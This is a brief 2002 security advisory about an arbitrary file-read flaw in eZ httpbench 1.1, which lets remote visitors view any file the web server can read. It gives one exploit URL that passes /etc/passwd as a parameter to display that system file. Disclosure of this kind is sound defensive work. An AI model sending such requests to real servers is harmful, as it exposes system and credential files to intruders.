[UNIX] Vulnerability Found in Benchmark Tool for HTTP Pages

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Date: 11/14/02 

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  Vulnerability Found in Benchmark Tool for HTTP Pages
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SUMMARY

A security vulnerability in the product allows remote attackers to
download any file on the local system that the
<http://developer.ez.no/article/archive/15/> eZ httpbench has read access
to.

DETAILS

Vulnerable systems:
 * eZ httpbench version 1.1

A vulnerability in eZ httpbench allows remote visitors to view any file on
a web server.

Exploit:
http://www.web_sitesi/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1

This will display the /etc/passwd (if the web server user has access to
this file).

ADDITIONAL INFORMATION

The information has been provided by <mailto:tacettinkaradeniz@yahoo.com>
Tacettin Karadeniz.

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